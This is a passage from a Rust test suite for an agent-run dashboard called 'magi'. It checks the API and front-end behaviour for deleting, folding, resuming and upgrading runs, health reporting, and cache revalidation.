7765 commits: 1,
7766 empty: false,
7767 failed: None,
7768 verified_noop: None,
7769 duration_ms: 0,
7770 folded: false,
7771 });
7772 let dir2 = runs.join(run_unfolded);
7773 std::fs::create_dir_all(&dir2).expect("create dir2");
7774 std::fs::write(
7775 dir2.join("run.json"),
7776 serde_json::to_string(&state2).unwrap(),
7777 )
7778 .expect("write run.json");
7779
7780 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7781 assert_eq!(res.status, 409);
7782 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7783 assert!(dir2.exists(), "unfolded run directory is kept");
7784
7785 let res = fx.delete("/api/runs/nonexistent").await;
7787 assert_eq!(res.status, 404);
7788 }
7789
7790 #[test]
7791 fn web_ui_delete_contract_in_front_end() {
7792 assert!(APP_JS.contains("deleteRun:"));
7794 assert!(APP_JS.contains("deleteTask:"));
7795
7796 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7798 ..APP_JS.find("function renderRuns").unwrap()];
7799 assert!(!run_cards_slice.to_lowercase().contains("delete"));
7800
7801 assert!(APP_JS.contains("renderRunDelete"));
7803 assert!(APP_JS.contains("runDeleteReason"));
7804 assert!(APP_JS.contains("magi fold"));
7805 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7806
7807 assert!(APP_JS.contains("cancel.focus"));
7809 assert!(APP_JS.contains("armedRunDelete"));
7810 assert!(APP_JS.contains("armedDelete"));
7811
7812 assert!(APP_JS.contains("disabled: status === \"running\""));
7814 }
7815
7816 #[test]
7836 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7837 let build = APP_JS
7838 .find("function createRunCard")
7839 .expect("createRunCard exists");
7840 let update = APP_JS
7841 .find("function updateRunCard")
7842 .expect("updateRunCard exists");
7843 let end = APP_JS
7844 .find("function renderRuns")
7845 .expect("renderRuns exists");
7846
7847 let builder = &APP_JS[build..update];
7849 let open = builder.find("refs = {").expect("createRunCard sets refs");
7850 let literal = &builder[open + "refs = {".len()..];
7851 let close = literal.find('}').expect("the refs literal is closed");
7852 let published: HashSet<&str> = literal[..close]
7853 .split(',')
7854 .filter_map(|entry| entry.split(':').next())
7856 .map(str::trim)
7857 .filter(|name| !name.is_empty())
7858 .collect();
7859 assert!(
7860 published.len() > 5,
7861 "the refs literal did not parse into names: {published:?}"
7862 );
7863
7864 let mut used: Vec<&str> = Vec::new();
7867 let updaters = &APP_JS[update..end];
7868 for (at, _) in updaters.match_indices("r.") {
7869 let before = updaters[..at].chars().next_back();
7872 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7873 continue;
7874 }
7875 let rest = &updaters[at + 2..];
7876 let len = rest
7877 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7878 .unwrap_or(rest.len());
7879 if len > 0 {
7880 used.push(&rest[..len]);
7881 }
7882 }
7883 assert!(
7884 used.len() > 5,
7885 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7886 );
7887
7888 let missing: Vec<&str> = used
7889 .iter()
7890 .copied()
7891 .filter(|name| !published.contains(name))
7892 .collect();
7893 assert!(
7894 missing.is_empty(),
7895 "a run card's updater reaches for {missing:?}, which `createRunCard` \
7896 never put in `refs` - every card will throw and the list will \
7897 render empty under a count line that says otherwise. Published: \
7898 {published:?}"
7899 );
7900 }
7901
7902 #[tokio::test]
7903 async fn folding_from_the_phone_reports_what_it_removed() {
7904 let fx = Fixture::start().await;
7905 let runs = fx.runs();
7906
7907 let id = "20260901-000000-fold";
7911 write_run(&runs, id, RunStatus::Stalled);
7912 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7913 assert_eq!(res.status, 200);
7914 assert_eq!(res.json()["removed_count"], 0);
7915 assert_eq!(res.json()["run"], id);
7916 assert!(
7917 runs.join(id).exists(),
7918 "a fold keeps the run's record; only the worktrees go"
7919 );
7920 }
7921
7922 #[tokio::test]
7923 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7924 let fx = Fixture::start().await;
7925 let runs = fx.runs();
7926 let wt = fx.home.path().join("wt").join("magi").join("dead");
7927 let id = "20260901-000000-dead";
7928 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7929 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7930 std::fs::create_dir_all(&wt).expect("worktree dir");
7931
7932 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7933 assert_eq!(res.status, 200, "{}", res.body);
7934 assert!(
7935 res.json()["removed_count"].as_u64().unwrap() > 0,
7936 "the worktree this build could not read a state for still went"
7937 );
7938 assert!(
7939 !runs.join(id).exists(),
7940 "an unreadable run has no candidate list to fold selectively, so \
7941 the whole record goes - same as `magi fold` on the CLI"
7942 );
7943 }
7944
7945 #[tokio::test]
7946 async fn deleting_an_unreadable_run_removes_it_wholesale() {
7947 let fx = Fixture::start().await;
7948 let runs = fx.runs();
7949 let wt = fx.home.path().join("wt").join("magi").join("gone");
7950 let id = "20260901-000000-gone";
7951 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7952 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7953 std::fs::create_dir_all(&wt).expect("worktree dir");
7954
7955 let res = fx.delete(&format!("/api/runs/{id}")).await;
7956 assert_eq!(res.status, 204, "{}", res.body);
7957 assert!(!runs.join(id).exists(), "the broken record is gone");
7958 assert!(!wt.exists(), "its worktree is gone too");
7959 }
7960
7961 #[tokio::test]
7962 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
7963 let fx = Fixture::start().await;
7964 let runs = fx.runs();
7965 let id = "20260901-000000-live";
7966 write_run(&runs, id, RunStatus::Implementing);
7967
7968 let mut beat = crate::daemon::Status::new();
7969 beat.current = vec![crate::daemon::Current {
7970 task: "20260901-000000-task".to_owned(),
7971 run: id.to_owned(),
7972 }];
7973 beat.updated_at = jiff::Timestamp::now();
7974 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7975 .expect("publish a heartbeat");
7976
7977 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7978 assert_eq!(res.status, 409);
7979 assert!(
7980 res.json()["error"]
7981 .as_str()
7982 .unwrap()
7983 .contains("live daemon"),
7984 "folding under a running agent would pull its worktree away"
7985 );
7986 }
7987
7988 #[tokio::test]
7989 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
7990 let fx = Fixture::start().await;
7991 let runs = fx.runs();
7992
7993 for (status, word) in [
7999 (RunStatus::Merged, "merged"),
8000 (RunStatus::Ready, "ready"),
8001 (RunStatus::Failed, "failed"),
8002 ] {
8003 let id = format!("20260901-000000-{}", &word[..4]);
8004 write_run(&runs, &id, status);
8005 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
8006 assert_eq!(res.status, 409, "{word} must not be resumable");
8007 let err = res.json()["error"].as_str().unwrap().to_owned();
8008 assert!(err.contains(word), "the refusal names the status: {err}");
8009 }
8010
8011 let mid = "20260901-000000-midf";
8016 write_run(&runs, mid, RunStatus::Reviewing);
8017 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
8018 assert_eq!(res.status, 202, "an interrupted run is resumable");
8019 }
8020
8021 #[tokio::test]
8022 async fn resume_is_refused_while_the_loop_is_running() {
8023 let fx = Fixture::start().await;
8024 let runs = fx.runs();
8025 let stalled = "20260901-000000-stal";
8026 write_run(&runs, stalled, RunStatus::Stalled);
8027
8028 let mut beat = crate::daemon::Status::new();
8032 beat.current = vec![crate::daemon::Current {
8033 task: "20260901-000000-task".to_owned(),
8034 run: "20260901-000000-othr".to_owned(),
8035 }];
8036 beat.updated_at = jiff::Timestamp::now();
8037 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8038 .expect("publish a heartbeat");
8039
8040 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
8041 assert_eq!(res.status, 409);
8042 let err = res.json()["error"].as_str().unwrap().to_owned();
8043 assert!(err.contains("othr"), "it names what the loop is on: {err}");
8044 assert!(err.contains("stop it first"), "{err}");
8045 }
8046
8047 #[test]
8048 fn a_run_cannot_be_resumed_twice_at_once() {
8049 let home = TempDir::new().expect("temp home");
8050 let ui = Ui::new(
8051 Queue::at(home.path().join("queue")),
8052 Questions::at(home.path().join("questions")),
8053 Talks::at(home.path().join("talks")),
8054 home.path().join("runs"),
8055 home.path().to_path_buf(),
8056 PathBuf::from("/repo"),
8057 )
8058 .with_worktrees_root(home.path().join("wt"));
8059 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
8060 let again = ui.begin_resume("20260901-000000-once");
8061 assert!(again.is_err(), "a second tap must not start a second graph");
8062 drop(first);
8063 assert!(
8064 ui.begin_resume("20260901-000000-once").is_ok(),
8065 "and the claim is released when the attempt ends"
8066 );
8067 }
8068
8069 #[test]
8070 fn talk_thinking_tracks_only_its_held_turn_claim() {
8071 let home = TempDir::new().expect("temp home");
8072 let ui = Ui::new(
8073 Queue::at(home.path().join("queue")),
8074 Questions::at(home.path().join("questions")),
8075 Talks::at(home.path().join("talks")),
8076 home.path().join("runs"),
8077 home.path().to_path_buf(),
8078 PathBuf::from("/repo"),
8079 )
8080 .with_worktrees_root(home.path().join("wt"));
8081 let id = "20260901-000000-once";
8082
8083 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
8084 let turn = ui.begin_talk_turn(id).expect("claim turn");
8085 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
8086 assert!(
8087 !ui.is_thinking("20260901-000000-other"),
8088 "one talk's turn does not make another talk busy"
8089 );
8090 drop(turn);
8091 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
8092 }
8093
8094 #[tokio::test]
8095 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
8096 let fx = Fixture::start().await;
8097 let mut beat = crate::daemon::Status::new();
8101 beat.pid = 4321;
8102 beat.updated_at = jiff::Timestamp::now();
8103 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8104 .expect("publish a heartbeat");
8105
8106 let res = fx.post("/api/upgrade", None).await;
8107 assert_eq!(res.status, 409);
8108 let err = res.json()["error"].as_str().unwrap().to_owned();
8109 assert!(err.contains("4321"), "the refusal names the owner: {err}");
8110 assert!(err.contains("old one against the same queue"), "{err}");
8111 }
8112
8113 #[test]
8120 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
8121 assert!(!should_spawn_recheck(&crate::config::Update {
8122 mode: UpdateMode::Off,
8123 interval: None,
8124 }));
8125
8126 unsafe {
8129 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8130 }
8131 let killed = should_spawn_recheck(&crate::config::Update {
8132 mode: UpdateMode::Notify,
8133 interval: None,
8134 });
8135 unsafe {
8136 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8137 }
8138 assert!(
8139 !killed,
8140 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
8141 one-time startup check"
8142 );
8143
8144 assert!(should_spawn_recheck(&crate::config::Update {
8145 mode: UpdateMode::Notify,
8146 interval: None,
8147 }));
8148 }
8149
8150 #[test]
8156 fn recheck_poll_period_tracks_a_short_configured_interval() {
8157 let short = crate::config::Update {
8158 mode: UpdateMode::Notify,
8159 interval: Some("1m".to_owned()),
8160 };
8161 let period = recheck_poll_period(&short);
8162 assert!(
8163 period <= Duration::from_secs(30),
8164 "a one-minute interval must wake the task far sooner than the \
8165 default ceiling, or the deck would not notice within the \
8166 interval the operator configured: got {period:?}"
8167 );
8168
8169 let default = crate::config::Update {
8170 mode: UpdateMode::Notify,
8171 interval: None,
8172 };
8173 assert_eq!(
8174 recheck_poll_period(&default),
8175 UPDATE_RECHECK_POLL_MAX,
8176 "the default day-long interval should poll at the (capped) \
8177 ceiling rather than needlessly often"
8178 );
8179 }
8180
8181 #[test]
8189 fn recheck_skips_the_network_before_the_interval_elapses() {
8190 let dir = TempDir::new().expect("temp dir");
8191 let path = dir.path().join("state.json");
8192 let state = kaishin::UpdateCheckState {
8193 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
8194 last_known_latest: None,
8195 last_known_url: None,
8196 };
8197 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
8198
8199 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
8200 assert!(
8201 !update_recheck_due(&checker, None),
8202 "a check made moments ago must not be repeated before the \
8203 configured interval elapses"
8204 );
8205 }
8206
8207 #[test]
8213 fn recheck_defers_to_an_upgrade_already_in_flight() {
8214 let dir = TempDir::new().expect("temp dir");
8215 let path = dir.path().join("state.json");
8216 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
8217 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
8218
8219 assert!(
8220 !update_recheck_due(&checker, Some(&progress)),
8221 "a recheck must not run while an upgrade this deck started is \
8222 still moving"
8223 );
8224 }
8225
8226 #[tokio::test]
8227 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
8228 unsafe {
8240 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8241 }
8242 let fx = Fixture::start().await;
8243 let res = fx.post("/api/upgrade", None).await;
8244 unsafe {
8245 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8246 }
8247 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8248 let body = res.json();
8249 assert!(body["to"].is_null(), "there was no release to move to");
8250 assert!(body["parked"].is_null(), "and nothing was parked");
8251 assert!(
8252 body["detail"]
8253 .as_str()
8254 .unwrap()
8255 .contains("disabled by MAGI_NO_AUTOUPDATE"),
8256 "{body:?}"
8257 );
8258 }
8259
8260 #[tokio::test]
8261 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
8262 let repo = TempDir::new().expect("repo dir");
8278 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8279 .expect("write magi.toml");
8280 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8281
8282 let res = fx.post("/api/upgrade", None).await;
8288 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8289 let body = res.json();
8290 assert!(body["to"].is_null(), "there was no release to move to");
8291 assert!(body["parked"].is_null(), "and nothing was parked");
8292 assert!(
8293 body["detail"]
8294 .as_str()
8295 .unwrap()
8296 .contains("nothing restarted"),
8297 "{body:?}"
8298 );
8299 }
8300
8301 #[tokio::test]
8302 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
8303 let repo = TempDir::new().expect("repo dir");
8308 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8309 .expect("write magi.toml");
8310 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8311
8312 let health = fx.get("/api/health").await.json();
8313 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
8314 assert_eq!(
8315 health["update"]["available"], false,
8316 "checking is off, which reads as \"unknown\", not \"none\""
8317 );
8318 assert!(health["update"]["to"].is_null());
8319 assert!(
8320 health["upgrade"].is_null(),
8321 "nothing has ever asked this deck to upgrade"
8322 );
8323 }
8324
8325 #[tokio::test]
8326 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
8327 let fx = Fixture::start().await;
8328 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
8329
8330 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8331 progress.parked_run = Some("20260905-000000-cd51".to_owned());
8332 progress.advance(crate::updater::Stage::Parking);
8333 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8334
8335 let health = fx.get("/api/health").await.json();
8336 assert_eq!(health["upgrade"]["stage"], "parking");
8337 assert_eq!(health["upgrade"]["from"], "0.5.1");
8338 assert_eq!(health["upgrade"]["to"], "0.5.2");
8339 let waiting_on = health["upgrade"]["waiting_on"]
8340 .as_str()
8341 .expect("waiting_on is set while parking a known run");
8342 assert!(waiting_on.contains("cd51"), "{waiting_on}");
8343 assert!(waiting_on.contains("implementing"), "{waiting_on}");
8344 }
8345
8346 #[tokio::test]
8347 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
8348 let fx = Fixture::start().await;
8349 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8350 progress.advance(crate::updater::Stage::Done);
8351 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8352
8353 let health = fx.get("/api/health").await.json();
8354 assert_eq!(health["upgrade"]["stage"], "done");
8355 assert!(
8356 health["upgrade"]["waiting_on"].is_null(),
8357 "nothing to wait on once it is done"
8358 );
8359 }
8360
8361 #[tokio::test]
8362 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
8363 let home = TempDir::new().expect("temp home");
8364 let runs = home.path().join("runs");
8365 std::fs::create_dir_all(&runs).expect("runs dir");
8366 let ui = Ui::new(
8367 Queue::at(home.path().join("queue")),
8368 Questions::at(home.path().join("questions")),
8369 Talks::at(home.path().join("talks")),
8370 runs,
8371 home.path().to_path_buf(),
8372 PathBuf::from("/repo/magi"),
8373 )
8374 .with_launch(launch_idle);
8375 let looping = ui.looping();
8376 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8377 .await
8378 .expect("bind loopback");
8379 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8380
8381 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8382 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
8383
8384 hand_over(home.path(), &looping, served, || Ok(()))
8385 .await
8386 .expect("hand over");
8387
8388 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
8389 assert_eq!(
8390 after.stage,
8391 crate::updater::Stage::Restarting,
8392 "hand_over owns the record through parking and up to restarting; \
8393 the successor is what finishes it"
8394 );
8395 }
8396
8397 #[test]
8398 fn the_upgrade_button_arms_before_it_restarts_anything() {
8399 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
8402 assert!(APP_JS.contains("Replace the binary and restart?"));
8403 assert!(APP_JS.contains("function confirmed("));
8404 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
8409 assert!(
8413 APP_JS.contains("Parking, then restarting"),
8414 "the button says what it is waiting for"
8415 );
8416 assert!(APP_JS.contains("if (!out.to)"));
8419 }
8420
8421 #[test]
8422 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
8423 assert!(
8424 APP_JS.contains("state.health.version"),
8425 "the operator wants to know what is running even with nothing newer"
8426 );
8427 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
8428 }
8429
8430 #[test]
8431 fn the_upgrade_button_names_its_destination() {
8432 assert!(
8433 APP_JS.contains("`Update to ${update.to}`"),
8434 "pressing the button should not be a surprise about what it moves to"
8435 );
8436 }
8437
8438 #[test]
8439 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
8440 for stage in ["downloading", "replaced", "parking", "restarting"] {
8441 assert!(
8442 APP_JS.contains(&format!("\"{stage}\"")),
8443 "the phone must be able to tell {stage} apart from the others"
8444 );
8445 }
8446 assert!(APP_JS.contains(".waiting_on"));
8447 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
8452 assert!(APP_JS.contains("reconnects on its own"));
8453 }
8454
8455 #[test]
8456 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
8457 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
8466 ..APP_JS.find("function upgrade(").expect("upgrade")];
8467 assert!(
8468 !body.contains(
8469 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
8470 ),
8471 "a failed upgrade must not take the whole strip over the way it used to"
8472 );
8473 assert!(
8474 body.contains("upgradeFailNote"),
8475 "the failure has to reach the loop's own note instead"
8476 );
8477 assert_eq!(
8481 body.matches("upgradeFailNote].filter(Boolean).join")
8482 .count(),
8483 2,
8484 "both loop-why writers (quiet and control) must fold the note in"
8485 );
8486 }
8487
8488 #[test]
8489 fn an_overdue_upgrade_eventually_asks_for_a_human() {
8490 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
8493 assert!(APP_JS.contains("function upgradeOverdue("));
8494 }
8495
8496 #[test]
8497 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
8498 assert!(
8499 APP_JS.contains("Updated to ${upgradeInfo.to"),
8500 "the operator who asked for the restart wants to know it worked"
8501 );
8502 }
8503
8504 #[test]
8505 fn an_error_is_visible_from_where_the_button_is() {
8506 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
8511 ..APP_CSS.find(".alert-text").expect(".alert-text")];
8512 assert!(
8513 alert.contains("position: fixed"),
8514 "an error about the thing under your thumb has to be visible from \
8515 where your thumb is: {alert}"
8516 );
8517 assert!(
8518 alert.contains("z-index: 25"),
8519 "above the dock (20) and the run-actions FAB (15), so neither \
8520 buries it: {alert}"
8521 );
8522 assert!(
8523 alert.contains("var(--tap)"),
8524 "and clear of the dock and the home indicator: {alert}"
8525 );
8526 assert!(
8529 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
8530 "the FAB's column stays free: {alert}"
8531 );
8532 }
8533
8534 #[tokio::test]
8535 async fn an_older_attempt_says_what_replaced_it() {
8536 let fx = Fixture::start().await;
8537 let q = fx.queue();
8538 let runs = fx.runs();
8539 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
8540 write_run(&runs, first, RunStatus::Stalled);
8541 write_run(&runs, second, RunStatus::Blocked);
8542
8543 let mut t = Task::new(
8544 "one task".to_owned(),
8545 "do it".to_owned(),
8546 PathBuf::from("/repo"),
8547 Source::Human,
8548 );
8549 t.runs = vec![first.to_owned(), second.to_owned()];
8550 q.put(&mut t).expect("put");
8551
8552 let rows = fx.get("/api/runs").await.json();
8556 let by = |short: &str| -> Value {
8557 rows.as_array()
8558 .unwrap()
8559 .iter()
8560 .find(|r| r["short"] == short)
8561 .cloned()
8562 .unwrap_or(Value::Null)
8563 };
8564 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
8565 assert!(
8566 by("bbbb")["superseded_by"].is_null(),
8567 "the latest attempt is not superseded by anything"
8568 );
8569 assert!(APP_JS.contains("run.superseded_by"));
8571 assert!(APP_JS.contains("Superseded by"));
8572 }
8573
8574 #[tokio::test]
8575 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
8576 let fx = Fixture::start().await;
8577 let js = fx.get("/app.js").await;
8583 assert_eq!(js.status, 200);
8584 let tag = js
8585 .header("etag")
8586 .expect("an etag to revalidate against")
8587 .to_owned();
8588 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
8589 assert_eq!(
8590 js.header("cache-control"),
8591 Some("no-cache, must-revalidate"),
8592 "the phone has to ask every time"
8593 );
8594
8595 let again = fx
8598 .get_with("/app.js", &[("if-none-match", tag.as_str())])
8599 .await;
8600 assert_eq!(
8601 again.status, 304,
8602 "a deck it already has costs one round trip"
8603 );
8604 assert!(again.body.is_empty(), "304 carries no body");
8605
8606 let weak = fx
8609 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
8610 .await;
8611 assert_eq!(weak.status, 304);
8612 let stale = fx
8613 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
8614 .await;
8615 assert_eq!(stale.status, 200, "an older build must be replaced");
8616 assert!(stale.body.contains("renderRunActions"));
8617 }
8618
8619 #[test]
8620 fn the_deck_never_sends_the_operator_to_a_terminal() {
8621 assert!(
8624 !APP_JS.contains("Run `magi fold` first"),
8625 "the deck must offer the fold, not prescribe a shell command"
8626 );
8627 assert!(APP_JS.contains("foldRun:"));
8628 assert!(APP_JS.contains("resumeRun:"));
8629 assert!(APP_JS.contains("renderRunActions"));
8630
8631 assert!(APP_JS.contains("armedFold"));
8633 assert!(APP_JS.contains("Yes, fold worktrees"));
8634
8635 assert!(APP_JS.contains("can no longer be resumed"));
8638 }
8639
8640 #[test]
8641 fn a_finished_run_explains_itself_with_its_own_last_line() {
8642 assert!(
8648 !APP_JS.contains("collapsed on agent quota"),
8649 "a stall must not be explained by a cause the deck did not check"
8650 );
8651 assert!(
8652 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
8653 "and a block must not offer a guess with an `or` in it"
8654 );
8655
8656 assert!(
8660 APP_JS.contains("setText(r.event, run.event || \"\")"),
8661 "the run's last line is rendered unconditionally"
8662 );
8663 assert!(
8664 !APP_JS.contains("moving && run.event"),
8665 "and never gated on the run still moving"
8666 );
8667
8668 assert!(APP_JS.contains("lost to quota"));
8670 }
8671
8672 #[test]
8694 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
8695 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
8696 let shapes_body_start =
8697 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
8698 let shapes_close = APP_JS[shapes_body_start..]
8699 .find("].map(")
8700 .expect("the shape list is closed by its done-computing .map(...)")
8701 + shapes_body_start;
8702 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
8703
8704 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
8705 for entry in shapes_src.split('{').skip(1) {
8706 let waiting = entry.contains("waiting: true");
8707 let dead = entry.contains("live: \"dead\"");
8708 let status_at =
8709 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
8710 let status_end = entry[status_at..]
8711 .find('"')
8712 .expect("the status string is closed")
8713 + status_at;
8714 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
8715 }
8716 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
8717
8718 let done_rule_marker = "done: !";
8722 let done_rule_at = APP_JS[shapes_close..]
8723 .find(done_rule_marker)
8724 .expect("the done rule follows the shape list")
8725 + shapes_close
8726 + done_rule_marker.len();
8727 let includes_at = APP_JS[done_rule_at..]
8728 .find(".includes(shape.status)")
8729 .expect("the done rule ends in .includes(shape.status)")
8730 + done_rule_at;
8731 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
8732 .trim()
8733 .trim_start_matches('[')
8734 .trim_end_matches(']')
8735 .split(',')
8736 .map(|s| s.trim().trim_matches('"'))
8737 .filter(|s| !s.is_empty())
8738 .collect();
8739
8740 let shapes: Vec<(bool, String, bool, bool)> = shapes
8741 .into_iter()
8742 .map(|(waiting, status, dead)| {
8743 let done = !not_done.contains(&status.as_str());
8744 (waiting, status, dead, done)
8745 })
8746 .collect();
8747
8748 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
8752 if waiting {
8753 return "waiting";
8754 }
8755 if dead
8756 && !matches!(
8757 status,
8758 "merged" | "ready" | "stalled" | "blocked" | "failed" | "verified_noop"
8759 )
8760 {
8761 return "stale";
8762 }
8763 match status {
8764 "merged" | "ready" => "landed",
8765 "stalled" | "blocked" | "failed" | "verified_noop" => "ended",
8766 _ => "flight",
8767 }
8768 }
8769
8770 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
8773 match filter_key {
8774 "active" => !done,
8775 "flight" => !done && !waiting && !dead,
8776 "stale" => !done && !waiting && dead,
8777 "waiting" => waiting,
8778 "done" => done,
8779 "all" => true,
8780 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
8781 }
8782 }
8783
8784 let compatible = |section: &str, filter_key: &str| {
8785 shapes.iter().any(|(waiting, status, dead, done)| {
8786 run_section(*waiting, status, *dead) == section
8787 && filter_matches(filter_key, *waiting, *dead, *done)
8788 })
8789 };
8790
8791 let expected = [
8796 ("waiting", [true, false, false, true, true, true]),
8797 ("stale", [true, false, true, false, false, true]),
8798 ("flight", [true, true, false, false, false, true]),
8799 ("landed", [false, false, false, false, true, true]),
8800 ("ended", [false, false, false, false, true, true]),
8801 ];
8802 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
8803
8804 for (section, wants) in expected {
8805 for (filter_key, want) in filter_keys.iter().zip(wants) {
8806 assert_eq!(
8807 compatible(section, filter_key),
8808 want,
8809 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
8810 );
8811 }
8812 }
8813
8814 assert!(
8817 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
8818 );
8819 assert!(APP_JS.contains(
8820 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
8821 ));
8822 assert!(APP_JS.contains(
8823 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
8824 ));
8825 }
8826
8827 #[tokio::test]
8828 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
8829 let dir = tempfile::tempdir().expect("tempdir");
8833 let explicit = dir.path().join("not-a-checkout");
8834 std::fs::create_dir_all(&explicit).expect("create dir");
8835 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
8836
8837 let missing = dir.path().join("does-not-exist-at-all");
8838 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
8839 }
8840}